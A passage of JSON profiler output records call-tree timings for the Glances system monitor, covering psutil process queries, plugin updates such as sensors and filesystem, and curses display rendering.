0.0019974870010628365},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001997,\"attributes\": {\"l1687\": 0.0019974870010628365},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002002,\"attributes\": {\"c_GeneratorContextManager\": 0.0020015119953313842, \"l148\": 0.0020015119953313842},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015119953313842, \"l539\": 0.0020015119953313842},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002002,\"attributes\": {\"l404\": 0.0020015119953313842},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987039995612577, \"l812\": 0.0019987039995612577},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987039995612577, \"l1593\": 0.0019987039995612577},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987039995612577, \"l2268\": 0.0019987039995612577},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999216002644971, \"l639\": 0.007999216002644971},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999216002644971, \"l314\": 0.007999216002644971},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999216002644971, \"l347\": 0.007999216002644971},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999216002644971, \"l394\": 0.007999216002644971},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999216002644971, \"l1593\": 0.007999216002644971},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999216002644971, \"l1857\": 0.007999216002644971},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999216002644971, \"l1593\": 0.007999216002644971},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999216002644971, \"l375\": 0.007999216002644971},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.0059995840056217276, \"l1683\": 0.0059995840056217276},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.006000,\"attributes\": {\"l730\": 0.0059995840056217276},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.006000,\"attributes\": {\"l719\": 0.002003754001634661, \"l718\": 0.0039958300039870664},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []},{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0020003120007459074},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"is_selected_extended_process\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000463\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.001999560001422651, \"l468\": 0.001999560001422651},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.004000,\"attributes\": {\"cGlancesProcesses\": 0.004000419998192228, \"l689\": 0.004000419998192228},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.004000,\"attributes\": {\"l589\": 0.004000419998192228},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.004000,\"attributes\": {\"l584\": 0.004000419998192228},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020012570021208376, \"l155\": 0.0020012570021208376},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002001,\"attributes\": {\"cGlancesProcesses\": 0.0020012570021208376, \"l711\": 0.0020012570021208376},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002001,\"attributes\": {\"l71\": 0.0020012570021208376},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.002001,\"attributes\": {\"l46\": 0.0020012570021208376},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000602\",\"time\": 0.002001,\"attributes\": {\"cCounter\": 0.0020012570021208376, \"l614\": 0.0020012570021208376},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.008247,\"attributes\": {\"cProgramlistPlugin\": 0.008247034995292779, \"l678\": 0.005997529995511286, \"l686\": 0.002249504999781493},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.005997529995511286, \"l633\": 0.003997806998086162, \"l634\": 0.001999722997425124},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019997339986730367, \"l614\": 0.0019997339986730367},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999722997425124, \"l628\": 0.001999722997425124},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002250,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001760,\"attributes\": {\"cCpuPlugin\": 0.0017596880061319098, \"l1278\": 0.0017596880061319098},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001760,\"attributes\": {\"l1295\": 0.0017596880061319098},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000169\",\"time\": 0.001760,\"attributes\": {\"cCpuPlugin\": 0.0017596880061319098, \"l175\": 0.0017596880061319098},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.001760,\"attributes\": {\"cCpuPlugin\": 0.0017596880061319098, \"l1351\": 0.0017596880061319098},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000184\",\"time\": 0.001760,\"attributes\": {\"cCpuPlugin\": 0.0017596880061319098, \"l196\": 0.0017596880061319098},\"children\": [{\"identifier\": \"get_cpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000294\",\"time\": 0.001760,\"attributes\": {\"cCpuPercent\": 0.0017596880061319098, \"l301\": 0.0017596880061319098},\"children\": [{\"identifier\": \"_compute_cpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000304\",\"time\": 0.001760,\"attributes\": {\"l306\": 0.0017596880061319098},\"children\": [{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001789\",\"time\": 0.001760,\"attributes\": {\"l1849\": 0.0017596880061319098},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001690\",\"time\": 0.001760,\"attributes\": {\"l1713\": 0.0017596880061319098},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000501\",\"time\": 0.001760,\"attributes\": {\"l509\": 0.0017596880061319098},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001760,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009991,\"attributes\": {\"cProcesslistPlugin\": 0.009990904000005685, \"l678\": 0.009990904000005685},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.009991,\"attributes\": {\"cProcesslistPlugin\": 0.009990904000005685, \"l656\": 0.00199291199533036, \"l633\": 0.003987139003584161, \"l634\": 0.004010853001091164},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000826003495604, \"l614\": 0.002000826003495604},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002011,\"attributes\": {\"cProcesslistPlugin\": 0.002011124001001008, \"l629\": 0.002011124001001008},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001986,\"attributes\": {\"cProcesslistPlugin\": 0.0019863130000885576, \"l614\": 0.0019863130000885576},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001986,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997290000901558, \"l628\": 0.0019997290000901558},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.359096,\"attributes\": {\"cSensorsPlugin\": 0.34012481999525335, \"l1278\": 0.3590961279987823, \"cFsPlugin\": 0.01557363300526049, \"cWifiPlugin\": 0.0013359869990381412, \"cMemswapPlugin\": 0.002061687999230344},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.359096,\"attributes\": {\"l1295\": 0.3590961279987823},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000149\",\"time\": 0.340125,\"attributes\": {\"cSensorsPlugin\": 0.34012481999525335, \"l159\": 0.002306244998180773, \"l157\": 0.3378185749970726},\"children\": [{\"identifier\": \"submit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000199\",\"time\": 0.002306,\"attributes\": {\"cThreadPoolExecutor\": 0.002306244998180773, \"l215\": 0.002306244998180773},\"children\": [{\"identifier\": \"_adjust_thread_count\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000219\",\"time\": 0.002306,\"attributes\": {\"cThreadPoolExecutor\": 0.002306244998180773, \"l237\": 0.002306244998180773},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000974\",\"time\": 0.002306,\"attributes\": {\"cThread\": 0.002306244998180773, \"l1010\": 0.002306244998180773},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000651\",\"time\": 0.002306,\"attributes\": {\"cEvent\": 0.002306244998180773, \"l669\": 0.002306244998180773},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000337\",\"time\": 0.002306,\"attributes\": {\"cCondition\": 0.002306244998180773, \"l369\": 0.002306244998180773},\"children\": [{\"identifier\": \"lock.acquire\\u0000<built-in>\\u00000\",\"time\": 0.002306,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002306,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/_base.py\\u0000666\",\"time\": 0.337819,\"attributes\": {\"cThreadPoolExecutor\": 0.3378185749970726, \"l667\": 0.3378185749970726},\"children\": [{\"identifier\": \"shutdown\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000254\",\"time\": 0.337819,\"attributes\": {\"cThreadPoolExecutor\": 0.3378185749970726, \"l273\": 0.3378185749970726},\"children\": [{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u00001096\",\"time\": 0.337819,\"attributes\": {\"cThread\": 0.3378185749970726, \"l1132\": 0.3378185749970726},\"children\": [{\"identifier\": \"_ThreadHandle.join\\u0000<built-in>\\u00000\",\"time\": 0.337819,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.337819,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.015574,\"attributes\": {\"cFsPlugin\": 0.01557363300526049, \"l131\": 0.01557363300526049},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.015574,\"attributes\": {\"cFsPlugin\": 0.01557363300526049, \"l182\": 0.01557363300526049},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.015574,\"attributes\": {\"l630\": 0.00484062699979404, \"l631\": 0.01073300600546645},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003177,\"attributes\": {\"cForkProcess\": 0.0031774450035300106, \"l121\": 0.0031774450035300106},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003177,\"attributes\": {\"l281\": 0.0031774450035300106},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003177,\"attributes\": {\"cPopen\": 0.0031774450035300106, \"l20\": 0.0031774450035300106},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003177,\"attributes\": {\"cPopen\": 0.0031774450035300106, \"l70\": 0.0031774450035300106},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003177,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.006196,\"attributes\": {\"cForkProcess\": 0.006196239999553654, \"l156\": 0.006196239999553654},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.006196,\"attributes\": {\"cPopen\": 0.006196239999553654, \"l41\": 0.006196239999553654},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.006196,\"attributes\": {\"l1165\": 0.006196239999553654},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.006196,\"attributes\": {\"cPollSelector\": 0.006196239999553654, \"l398\": 0.006196239999553654},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.006196,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.006196,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001663,\"attributes\": {\"cForkProcess\": 0.0016631819962640293, \"l121\": 0.0016631819962640293},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001663,\"attributes\": {\"l281\": 0.0016631819962640293},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001663,\"attributes\": {\"cPopen\": 0.0016631819962640293, \"l20\": 0.0016631819962640293},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001663,\"attributes\": {\"cPopen\": 0.0016631819962640293, \"l70\": 0.0016631819962640293},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001663,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.004537,\"attributes\": {\"cForkProcess\": 0.004536766005912796, \"l156\": 0.004536766005912796},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004537,\"attributes\": {\"cPopen\": 0.004536766005912796, \"l41\": 0.004536766005912796},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004537,\"attributes\": {\"l1165\": 0.004536766005912796},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004537,\"attributes\": {\"cPollSelector\": 0.004536766005912796, \"l398\": 0.004536766005912796},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004537,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004537,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001336,\"attributes\": {\"cWifiPlugin\": 0.0013359869990381412, \"l101\": 0.0013359869990381412},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001336,\"attributes\": {\"cWifiPlugin\": 0.0013359869990381412, \"l119\": 0.0013359869990381412},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001336,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/memswap/__init__.py\\u000068\",\"time\": 0.002062,\"attributes\": {\"cMemswapPlugin\": 0.002061687999230344, \"l79\": 0.002061687999230344},\"children\": [{\"identifier\": \"swap_memory\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002055\",\"time\": 0.002062,\"attributes\": {\"l2068\": 0.002061687999230344},\"children\": [{\"identifier\": \"swap_memory\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000435\",\"time\": 0.002062,\"attributes\": {\"l473\": 0.002061687999230344},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002062,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 1.656746,\"attributes\": {\"cGlancesCursesStandalone\": 1.656745726999361, \"l1154\": 0.04790503699769033, \"l1169\": 0.805578504994628, \"l1172\": 0.8032621850070427},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.047905,\"attributes\": {\"cGlancesCursesStandalone\": 0.04790503699769033, \"l1135\": 0.04790503699769033},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.047905,\"attributes\": {\"cGlancesCursesStandalone\": 0.04790503699769033, \"l569\": 0.04590484200161882, \"l598\": 0.0020001949960715137},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.045905,\"attributes\": {\"cGlancesCursesStandalone\": 0.04590484200161882, \"l545\": 0.04590484200161882},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.045905,\"attributes\": {\"cProgramlistPlugin\": 0.019988562999060377, \"l1101\": 0.04590484200161882, \"cProcesslistPlugin\": 0.02591627900255844},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.045905,\"attributes\": {\"cProgramlistPlugin\": 0.019988562999060377, \"l587\": 0.04590484200161882, \"cProcesslistPlugin\": 0.02591627900255844},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.045905,\"attributes\": {\"cProgramlistPlugin\": 0.019988562999060377, \"l538\": 0.04192467199754901, \"l539\": 0.001980041000933852, \"cProcesslistPlugin\": 0.02591627900255844, \"l537\": 0.002000129003135953},\"children\": [{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000207001401577, \"l500\": 0.002000207001401577},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.003998,\"attributes\": {\"cProgramlistPlugin\": 0.0039977919950615615, \"l360\": 0.0020038699949509464, \"l361\": 0.001993922000110615},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.0020038699949509464, \"l340\": 0.0020038699949509464},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001994,\"attributes\": {\"cProgramlistPlugin\": 0.001993922000110615, \"l351\": 0.001993922000110615},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001994,\"attributes\": {\"cProgramlistPlugin\": 0.001993922000110615, \"l1130\": 0.001993922000110615},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001980,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001980,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001938,\"attributes\": {\"cProgramlistPlugin\": 0.0019377060016267933, \"l309\": 0.0019377060016267933},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001938,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.002070,\"attributes\": {\"cProgramlistPlugin\": 0.002069754002150148, \"l378\": 0.002069754002150148},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002070,\"attributes\": {\"cProgramlistPlugin\": 0.002069754002150148, \"l1130\": 0.002069754002150148},\"children\": [{\"identifier\": \"[self]\",\"time\": 